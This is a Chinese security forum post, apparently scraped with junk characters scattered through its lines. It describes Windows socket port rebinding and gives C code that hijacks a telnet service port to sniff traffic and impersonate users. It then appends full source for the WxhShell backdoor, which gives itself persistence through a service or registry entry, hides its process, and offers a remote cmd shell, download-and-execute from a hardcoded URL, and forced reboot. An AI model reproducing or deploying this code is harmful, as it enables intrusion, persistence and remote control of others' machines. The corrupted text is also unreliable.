在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
^)?Wm,{"w s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
v}N\z2A |(Mxbprz saddr.sin_family = AF_INET;
{'tfU $BMXjXd} saddr.sin_addr.s_addr = htonl(INADDR_ANY);
:MY=Q]l :>JfBJ]| bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
P*BRebL: lYCvYe 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
7)V"E-6h !5(DU~S*@S 这意味着什么?意味着可以进行如下的攻击:
4pf@.ra,
,AweHUEn 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
d}zh.O5P!
^n0;Q$\ 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
<O
0Q]`i Rlk3AWl2u 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
n
5R9<A^ oG1zPspL 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
WM?-BIlT= W/bW=.d
Jd 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
-
[h[ #i@f%Bq- 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
TDDMx |{ Ajm!;LA[jO 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
}LS8q 4h@,hY1# #include
!(F?`([A #include
lbda/Zx #include
UjQz #include
_\X ,a5Un DWORD WINAPI ClientThread(LPVOID lpParam);
j=irx5: int main()
BP@tI| {
P?/JyiO} WORD wVersionRequested;
JkWhYP } DWORD ret;
e
O\72? K WSADATA wsaData;
fV|uKs(W BOOL val;
<[)-Q~Gg5 SOCKADDR_IN saddr;
W&Fm;m@M SOCKADDR_IN scaddr;
9GH5 int err;
v,ZYh w SOCKET s;
d-B+s%>D SOCKET sc;
m6mGcbpn int caddsize;
__'4Qt HANDLE mt;
uL^; i"" DWORD tid;
&|{1Ws wVersionRequested = MAKEWORD( 2, 2 );
cl4z%qv* err = WSAStartup( wVersionRequested, &wsaData );
{73V?#P4 if ( err != 0 ) {
F1stRZ1ZI printf("error!WSAStartup failed!\n");
"ktuq\a@ return -1;
I{cH$jt< }
K 77iv saddr.sin_family = AF_INET;
i`2SebDj'w c%/b*nQ(= //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
>|A,rE^Ojt S[3"?$3S saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
,~naKd.ZY saddr.sin_port = htons(23);
e9{0hw7 if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
dgpE3
37Lt {
!2KQi=Ng printf("error!socket failed!\n");
~dr,;NhOLJ return -1;
hJ{u!:4 }
:TU|:2+ val = TRUE;
ZQE1]ht //SO_REUSEADDR选项就是可以实现端口重绑定的
sh_;98^ if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
iibG$?( {
vd[7Pxe printf("error!setsockopt failed!\n");
Sc[#]2 } return -1;
s)]j X }
qX-ptsQ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
tJ6@Ot //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
J;>epM;* //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
CVa>5vt 1z8"Gk6 if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
<3{MS],<< {
>n09K8
A ret=GetLastError();
6i[Ts0H%<! printf("error!bind failed!\n");
>N Bc-DX^ return -1;
'NlhLu }
nU>P%|loXx listen(s,2);
pNb2t/8%% while(1)
eZPeyYX {
)*]A$\Oc[ caddsize = sizeof(scaddr);
R7Y_ 7@p //接受连接请求
x8rg/y sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
;bB#Pg if(sc!=INVALID_SOCKET)
}CBQdH&g; {
?z9!=A%<V~ mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
Pz2 b if(mt==NULL)
wu.l-VmGp) {
[j0[c9.p[ printf("Thread Creat Failed!\n");
+=8wZ] break;
T ?[28| }
1 jidBzu< }
BI`)P+K2 CloseHandle(mt);
58s-RO6 }
M4C8K{} closesocket(s);
N@c GjpQ WSACleanup();
+-<G(^ return 0;
<}RI<96 }
n>ui'}L DWORD WINAPI ClientThread(LPVOID lpParam)
TF/NA\0c$ {
U*r54AyP SOCKET ss = (SOCKET)lpParam;
7{F\b SOCKET sc;
R!j # unsigned char buf[4096];
$z%(He SOCKADDR_IN saddr;
>)ekb7 long num;
q~R8<G%YK DWORD val;
OS,!`8cw DWORD ret;
vdq=F|& //如果是隐藏端口应用的话,可以在此处加一些判断
uslu-|b!% //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
"@nH;Xlq saddr.sin_family = AF_INET;
4?+K
` saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
l/G+Xj4M saddr.sin_port = htons(23);
dxs5woP if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
lr>NG,N {
f(|k0$EIu printf("error!socket failed!\n");
[ey#
,&T return -1;
ynIC (t }
Q ]CMm2L^f val = 100;
B"&-) ( if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
:8)Jnh\5 {
'v]0;~\mp> ret = GetLastError();
#BLHHK/[ return -1;
AZ3T#f![L@ }
i=Qy?aU? if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
'8;bc@cE {
J 4gtm"2) ret = GetLastError();
uy
hh"[ return -1;
h =A }
TGF$zvd if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
[K3
te {
e v$:7}h= printf("error!socket connect failed!\n");
F\DiT|?} closesocket(sc);
dun`/QKV closesocket(ss);
U*C^g}iA return -1;
J
8%gC }
r/sSkF F while(1)
2#.s{ Bv {
%P0 //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
0&,D&y% //如果是嗅探内容的话,可以再此处进行内容分析和记录
m%[e_eS //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
1cK'B<5">] num = recv(ss,buf,4096,0);
XH?//.q if(num>0)
u}nS dZC send(sc,buf,num,0);
%/Wk+r9uu else if(num==0)
n&:ohOH% break;
qk<jvha num = recv(sc,buf,4096,0);
bSsg` if(num>0)
]:gW+6w"C send(ss,buf,num,0);
Ok_}d&A else if(num==0)
9w=7A>.U break;
+7gd1^|$e }
x &R9m, closesocket(ss);
|HmY`w6*z closesocket(sc);
PMytk`<`zw return 0 ;
_;k<=ns(= }
,H{9`a#+: 'SFAJ ,'s}g,L ==========================================================
Lu}jk
W* "QnYT3[l" 下边附上一个代码,,WXhSHELL
c~vhkRA \n[kzi7 ==========================================================
VCWW(Y1Fd I<#X#_YP #include "stdafx.h"
$+Ze"E G3Dg B! #include <stdio.h>
ov_l)vt
#include <string.h>
G`FYEmD #include <windows.h>
I}_}VSG( #include <winsock2.h>
p]mN) #include <winsvc.h>
{mJ'
Lb0; #include <urlmon.h>
=cEsv&i }b\hRy~=r #pragma comment (lib, "Ws2_32.lib")
}nlS&gew^ #pragma comment (lib, "urlmon.lib")
=Dq&lm,n _qa]T'8 #define MAX_USER 100 // 最大客户端连接数
lKsn6c,] #define BUF_SOCK 200 // sock buffer
=@!t/LR7kg #define KEY_BUFF 255 // 输入 buffer
;stjqTd hW#^H5? #define REBOOT 0 // 重启
-P}A26qB #define SHUTDOWN 1 // 关机
t5+p]7 Y1h)aQ5{ #define DEF_PORT 5000 // 监听端口
a?-&O$UHf\ 6k
t,q0 #define REG_LEN 16 // 注册表键长度
EX8+3>) #define SVC_LEN 80 // NT服务名长度
ii?T:T@ HV~Fe!J_ // 从dll定义API
Rn?JMM] typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
;eYG\uKC{ typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
iN&oSpQ typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
vaB ql(?'2 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
4
.
7X*1 F@?-^ E@ // wxhshell配置信息
hVF^"$ struct WSCFG {
:IZAdlz[@ int ws_port; // 监听端口
yh
E% X char ws_passstr[REG_LEN]; // 口令
|,$&jSe int ws_autoins; // 安装标记, 1=yes 0=no
N6._Jb char ws_regname[REG_LEN]; // 注册表键名
%+l95Dv1 char ws_svcname[REG_LEN]; // 服务名
)k Wxp char ws_svcdisp[SVC_LEN]; // 服务显示名
~z:]rgX char ws_svcdesc[SVC_LEN]; // 服务描述信息
+0&^.N char ws_passmsg[SVC_LEN]; // 密码输入提示信息
]VjvG}; int ws_downexe; // 下载执行标记, 1=yes 0=no
`E$vWZq} char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
\E?3nQM char ws_filenam[SVC_LEN]; // 下载后保存的文件名
nB`|VYmOP1 /0/ouA>+ };
PZ|I3z _^&
q,S // default Wxhshell configuration
=Ydrct struct WSCFG wscfg={DEF_PORT,
>=0]7k; "xuhuanlingzhe",
T_D3WHp 1,
_Q1p_sdg "Wxhshell",
^4fvV\ne_~ "Wxhshell",
&x1A{j_ "WxhShell Service",
c -k3<|H` "Wrsky Windows CmdShell Service",
P*6m~`"5 "Please Input Your Password: ",
^.6yzlY 1,
)g'J'_Sl "
http://www.wrsky.com/wxhshell.exe",
V*@aE "Wxhshell.exe"
;M.Q=#;E };
0OM^,5%8 M=raKb?F // 消息定义模块
-zFJ)!/? char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
(vG*)a char *msg_ws_prompt="\n\r? for help\n\r#>";
46g0
e char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
'JOCL0FP char *msg_ws_ext="\n\rExit.";
\8xSfe char *msg_ws_end="\n\rQuit.";
-yf8 char *msg_ws_boot="\n\rReboot...";
_
dAyw char *msg_ws_poff="\n\rShutdown...";
$BdwKk
!k char *msg_ws_down="\n\rSave to ";
uA#K59E+ [\W& char *msg_ws_err="\n\rErr!";
4H6Fq*W{k char *msg_ws_ok="\n\rOK!";
qKD vL@<l^`$0 char ExeFile[MAX_PATH];
`0qjaC int nUser = 0;
A1prYD HANDLE handles[MAX_USER];
s6~;)(r int OsIsNt;
}? _KZ)
4v`/~a SERVICE_STATUS serviceStatus;
xS 1|t}; SERVICE_STATUS_HANDLE hServiceStatusHandle;
Odo)h @*eY~ // 函数声明
PgA<pfEHE int Install(void);
7*PBJt\ int Uninstall(void);
;y,g%uqE int DownloadFile(char *sURL, SOCKET wsh);
`TPIc int Boot(int flag);
U\P4ts void HideProc(void);
$rXCNew( int GetOsVer(void);
+KbkdYZ int Wxhshell(SOCKET wsl);
b,^ "-r void TalkWithClient(void *cs);
H1c8]} int CmdShell(SOCKET sock);
R$awo/'^ int StartFromService(void);
i3eF_ int StartWxhshell(LPSTR lpCmdLine);
_-C/sp^ q=W.82.U VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
>+J}mo=* VOID WINAPI NTServiceHandler( DWORD fdwControl );
wnC} TWxX !An?<Sv$ // 数据结构和表定义
j{Px}f(= SERVICE_TABLE_ENTRY DispatchTable[] =
}!_z\'u {
NfClR HpVc {wscfg.ws_svcname, NTServiceMain},
HXU#Ux {NULL, NULL}
~6;I"0b5 };
3`&FXgo
rp4D_80q // 自我安装
R0qZxoo int Install(void)
C$[iduS {
$0 .6No_| char svExeFile[MAX_PATH];
W^8 HKEY key;
d` ttWWPw strcpy(svExeFile,ExeFile);
Zp7Pw 5a/A?9?, // 如果是win9x系统,修改注册表设为自启动
HDV-qYD|O~ if(!OsIsNt) {
R5ra*!|L) if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
~2k.x*$ RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
z0rYzn?MR RegCloseKey(key);
cjN)3L{ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
,y]-z8J RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
v)Y)tu> RegCloseKey(key);
K@7%i|H return 0;
U*~-\jN1pb }
,
@jtD*c) }
MAYb.>X#> }
8n5~K.;< else {
R:f!ywj% <XLaJ;j // 如果是NT以上系统,安装为系统服务
d0)]^4HT|y SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
?+.mP]d_ if (schSCManager!=0)
)!-gT {
^0v3NG6 SC_HANDLE schService = CreateService
W!<7OA g $ (
C_N|o|dX schSCManager,
}W'j Dz7O wscfg.ws_svcname,
[p6:uNo wscfg.ws_svcdisp,
]B )nN': SERVICE_ALL_ACCESS,
c?CD;Pk SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
rx9*/Q0F SERVICE_AUTO_START,
jVnTpa!A SERVICE_ERROR_NORMAL,
8vuTF*{yZ svExeFile,
o6A$)m5V NULL,
hM]Z T5;< NULL,
H/{@eaV NULL,
`vH|P NULL,
Kn->R9Tl NULL
//c6vG );
<\epj=OclV if (schService!=0)
)'m;a_r` {
oW^x=pS9 CloseServiceHandle(schService);
U^KWRqt CloseServiceHandle(schSCManager);
!!Ww#x~k$[ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
T!]rdN! strcat(svExeFile,wscfg.ws_svcname);
bdWdvd: if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
FXo.f<U RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
z@VL?A(3 RegCloseKey(key);
x[lIib1s return 0;
"9P @bA }
lO cFF0' }
8?82 p CloseServiceHandle(schSCManager);
HK :K~h }
b|-)p+ba }
;-`NT`
#2 SY5}Bu# return 1;
@ovaOX }
7V5c`:" ]AA|BeL?| // 自我卸载
d2eXN3" int Uninstall(void)
>0@w"aKn {
;)h?P.] HKEY key;
CtMqE+j^ h
F +aL if(!OsIsNt) {
{v0r'+` if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
We$
n RegDeleteValue(key,wscfg.ws_regname);
:PBFFLe RegCloseKey(key);
xwo*kFg if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
wKi#5k2 RegDeleteValue(key,wscfg.ws_regname);
iN8[^,2H| RegCloseKey(key);
ZY8.p return 0;
O^!ds }
SLEOcOAmD }
zV}:~;w }
~E6sY
else {
WA2NjxYz [q%`q`EG SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
\2;!} if (schSCManager!=0)
iA{q$>{8 {
,j XK SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
%P ~;>4i, if (schService!=0)
|aenQA# {
d,?D '/ if(DeleteService(schService)!=0) {
)A*53>JV CloseServiceHandle(schService);
=7e!'cF[ CloseServiceHandle(schSCManager);
Z e>R@rK return 0;
0p.MH~mx }
zwC ,,U CloseServiceHandle(schService);
OB9E30 }
&S
xF"pYV CloseServiceHandle(schSCManager);
Zq&'a_ }
fNi&r0/-t }
,ASNa^7/> 4v>SXch return 1;
`^/8dIya }
Ub
f5: [5'HlHK // 从指定url下载文件
Ba?1q%eG int DownloadFile(char *sURL, SOCKET wsh)
! $mY.uu {
+w[ZMk HRESULT hr;
wtSU43D char seps[]= "/";
(<_kq;XtN0 char *token;
^f>c_[fR char *file;
)U|V |yem' char myURL[MAX_PATH];
W5'6L=WG char myFILE[MAX_PATH];
.WKJ37od 9nVb$pf e# strcpy(myURL,sURL);
/[lEZ['^ token=strtok(myURL,seps);
1c QF(j_ while(token!=NULL)
.aO6Y+Y {
yKUxjb^b\ file=token;
4G:~|N.{p token=strtok(NULL,seps);
<ot`0 }
[*O>Lk muXP5MO GetCurrentDirectory(MAX_PATH,myFILE);
ch%zu%;f strcat(myFILE, "\\");
G9-ETj} strcat(myFILE, file);
S -mpob) send(wsh,myFILE,strlen(myFILE),0);
H.|I|XRG/ send(wsh,"...",3,0);
BegO\0%+ hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
vTFG*\Cq if(hr==S_OK)
F&uiI;+zJ return 0;
8y5"X"U else
#y: F3$c return 1;
Zgh~7Z/ " 4#&tNQ }
.n+
;&5 w=?nD6Xhz // 系统电源模块
4tUoK[p int Boot(int flag)
JAKs [@: {
3mofp`e HANDLE hToken;
nygGI_[l TOKEN_PRIVILEGES tkp;
HD#>K 7 ;39a` if(OsIsNt) {
zd 2_k 9 OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
0kCo0{+n LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
c;/vzIJj tkp.PrivilegeCount = 1;
e.L&A| tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
4Ia'Yr AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
,<+:xl if(flag==REBOOT) {
}l+_KA if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
|LJv* return 0;
@TW:6v` }
BZhf/{h[@ else {
clyp0`,7 if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
,7cw%mQA return 0;
Zs t)S( }
ms Cz\8Xd }
*
G*VY#L else {
^!exH(g if(flag==REBOOT) {
=9QyOh if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
\i[N";K return 0;
-[vw 8 }
3/usgw1 else {
a0]GQyIG if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
wQ+il6 return 0;
/L2ZI1v }
KM)MUPr }
cXt&k |1
qrU( return 1;
J
V}7c$_ }
8IL5:7H8 v
-)<nox // win9x进程隐藏模块
<(TAA15Xol void HideProc(void)
Ep;?%o ,G {
0LC]%x+" indbg
d HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
@I1*b>X~< if ( hKernel != NULL )
b(mZ/2,B {
< ~CY?
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
4J`-&05O ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
K)x6F15r FreeLibrary(hKernel);
H @zZ[ }
% + ueU "v'h\ return;
f%_$RdU }
Z%ZOAu&p c]VK%zl // 获取操作系统版本
Na]Z%#~ int GetOsVer(void)
! 1?u0 {
Y
?~n6< OSVERSIONINFO winfo;
RB*z."
winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
R~A))4<%% GetVersionEx(&winfo);
3ONW u if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
i@P=*lLD return 1;
"Ltp]nCR else
&<#1G
u_ return 0;
$l.8 }
;W+1 H ! :#sBNy // 客户端句柄模块
%#4;'\'5 int Wxhshell(SOCKET wsl)
qooTRqc#, {
7o+VhW<|5 SOCKET wsh;
3Jda: struct sockaddr_in client;
&q4~WRnzJk DWORD myID;
_}\KC+n8 ~FI} [6Dd while(nUser<MAX_USER)
cuG;1,?b {
S+6YD0 int nSize=sizeof(client);
wrCV&2CG wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
7 v3%dCvf if(wsh==INVALID_SOCKET) return 1;
aB G* J+0
?e9 handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
M{u 7Ef if(handles[nUser]==0)
`m_fi closesocket(wsh);
xzMpT ZQ else
2.j0pg . nUser++;
c\P}ZQ }
*2pE39 WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
{hO|{vz Y8s-cc( return 0;
:+^`VLIf }
N8r+Q%ov *x#5S.i1 // 关闭 socket
?OO !M void CloseIt(SOCKET wsh)
`ALQSo~l {
#/`MYh=!W closesocket(wsh);
Tnf&32IA nUser--;
hI<$lEB ExitThread(0);
},5LrX`L }
RvVF^~u RC"xnnIJv // 客户端请求句柄
S=w ~bz,/ void TalkWithClient(void *cs)
r 3T #Nv {
M tDJ1I% :^QV,d<C SOCKET wsh=(SOCKET)cs;
rA_r$X char pwd[SVC_LEN];
zS?}3#g0u char cmd[KEY_BUFF];
|~D~#Nz char chr[1];
V^9%+L+E5 int i,j;
~te{9/ L(`q3>iC4. while (nUser < MAX_USER) {
eBECY(QMQ g2r8J0v if(wscfg.ws_passstr) {
1*@Q~f:Uk if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
G
in //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
\=W t{ //ZeroMemory(pwd,KEY_BUFF);
:e_yOT}} i=0;
lQ.3_{"s while(i<SVC_LEN) {
|>I4(''} kP~ ;dJD // 设置超时
5FNf)F
fd_set FdRead;
p_3VFKq>0 struct timeval TimeOut;
1-4*YrA FD_ZERO(&FdRead);
9Cb>J FD_SET(wsh,&FdRead);
!Nhq)i TimeOut.tv_sec=8;
b{e|~v6& TimeOut.tv_usec=0;
|TBKsx8 int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
5i3nz=~o if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
9EZh~tdV[ )i.\q if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
zpxyX| pwd
=chr[0]; ~65lDFY/
if(chr[0]==0xd || chr[0]==0xa) { ]7dal [i
pwd=0; \l;H!y[
break; D>q?My
} [;INVUwG^
i++; MES| iB
} I1Gk^wO
;{>-K8=>$
// 如果是非法用户,关闭 socket b WZX
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); vC5 (
} z1~U#
Q#$dp
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); T^ah'WmNw
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); xF9PjnWF=
$0E_4#kwB
while(1) { 1T7;=<g`
fNi_C"<
ZeroMemory(cmd,KEY_BUFF); &]' <M
P\|i<Ds_M
// 自动支持客户端 telnet标准 w`0r`\#V/
j=0; G|]39/OO3{
while(j<KEY_BUFF) { 6sRKbp|r7
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); Uw_z9ZL
cmd[j]=chr[0]; T/l2B1
if(chr[0]==0xa || chr[0]==0xd) { =:'a)o
cmd[j]=0; N`rOlEk
break; i_;]UvP
} *8QGv6*vQ
j++; 8[z& g%u
} 9ev"BO
d `+cNKf
// 下载文件
>*mLbp"
if(strstr(cmd,"http://")) { bPdbKi{j@
send(wsh,msg_ws_down,strlen(msg_ws_down),0); G@n%P~
if(DownloadFile(cmd,wsh)) 3UX} )mW
send(wsh,msg_ws_err,strlen(msg_ws_err),0); -@_V|C'?
else A|U_$!cLZ
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D3%`vqu&
} 'roZ:NE
else { x-{awP
76*5/J-
switch(cmd[0]) { ~v<,6BS<$Z
u
kKp,1xz
// 帮助 w,FOq?j^k
case '?': { f9 b=Zm'
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); sh"\ kk9
break; 2L_ts=
} bMw)>4
// 安装 lTv_%hUp
case 'i': { DV/P/1E
if(Install()) G(~"Zt}?
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 0SziTM
else pYs"Y;%
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ojH-;|f
break; ~FV
Z0%+,
} i;>Hy|
// 卸载 /TgG^|
case 'r': { 8^N"D7{mO
if(Uninstall()) J5Tl62}
send(wsh,msg_ws_err,strlen(msg_ws_err),0); =r:-CRq(
else cy6P=k*
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ou@ P#:<B
break; z_J"Qk
} d98ZC+q
// 显示 wxhshell 所在路径 }A"%YDrNbG
case 'p': { LJMw-#61sj
char svExeFile[MAX_PATH]; }0Q6iHX@
strcpy(svExeFile,"\n\r"); 1vQj` F
strcat(svExeFile,ExeFile); [Hww3+~+
send(wsh,svExeFile,strlen(svExeFile),0); vx_v/pD
break; >p 7e6%
} RSY{IY
// 重启 cwxO|
.m
case 'b': { G =+ sW
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); i=<N4Vx
if(Boot(REBOOT)) b&Sk./
J6
send(wsh,msg_ws_err,strlen(msg_ws_err),0); bg)yliX
else { 9c1n
closesocket(wsh); r,x;q
ExitThread(0); *qE[Y0Cd
} E:&ga}h
break; %o+VZEH3
} $CVbc%
// 关机 )*iSN*T8q
case 'd': { jn#
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); <5~} !N X`
if(Boot(SHUTDOWN)) Ee##:I[z
send(wsh,msg_ws_err,strlen(msg_ws_err),0); X] /r'Tz
else { s Hu~;)
closesocket(wsh); 4PEJ}BW
ExitThread(0); 7oDr`=q1]r
} e}e\*BL
break; HzT"{N9
} !58-3F%P
// 获取shell w7"Z@$fs
case 's': { KwRO?G9&
CmdShell(wsh); )A['+s
closesocket(wsh); ![iAALPNl
ExitThread(0); Ng,#d`Br
break; %97IXrE
} TUiXE~8=
// 退出 :(Feg 2c
case 'x': { -C5Qh&~W
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); SD6xi\8
CloseIt(wsh); CV4r31w
break; vpUS(ztvs
} /9WR>NUAO
// 离开 *IGgbg[0
case 'q': { n5%rsNxg
send(wsh,msg_ws_end,strlen(msg_ws_end),0); eGblQGRS
closesocket(wsh); SN'LUwaMp!
WSACleanup(); 2`l$uEI3oJ
exit(1); F#Oqa^$(
break; 1HBch]J
} (CH F=g
} ;{Y|n_
} UtiS?w6
:D ?%!Q 0
// 提示信息 N.u)Mbe
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); pWB)N7x&
} l0b Y
} R {+Rvk
3Cwqy#X#8
return; VWmZ|9Ri
} o;\0xuM@
2HMlh.R(C
// shell模块句柄 Srz.-,2 PF
int CmdShell(SOCKET sock) .) B _~tct
{ Q4Q*5>
STARTUPINFO si; 'j!7
O+7y
ZeroMemory(&si,sizeof(si)); lvb0dOmY
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; VD.p"F(]
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; !w98[BE7
PROCESS_INFORMATION ProcessInfo; +tOBt("5/
char cmdline[]="cmd"; s%J|r{F6
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); abCcZ<=|b
return 0; ?4_^}B9
} |jaUVE_2[
&|26x
>
// 自身启动模式 U\
y?P:yy
int StartFromService(void) `qSNS->
{ VD+8j29
typedef struct >u~ [{(d ,
{ >&aFSL,f
DWORD ExitStatus; ^`\c;!)F<
DWORD PebBaseAddress; IX^k<Jqr
DWORD AffinityMask; Jnm{i|6N
DWORD BasePriority; ?U2ed)zzw
ULONG UniqueProcessId; OHqLMBW!!
ULONG InheritedFromUniqueProcessId; FcsEv {#U
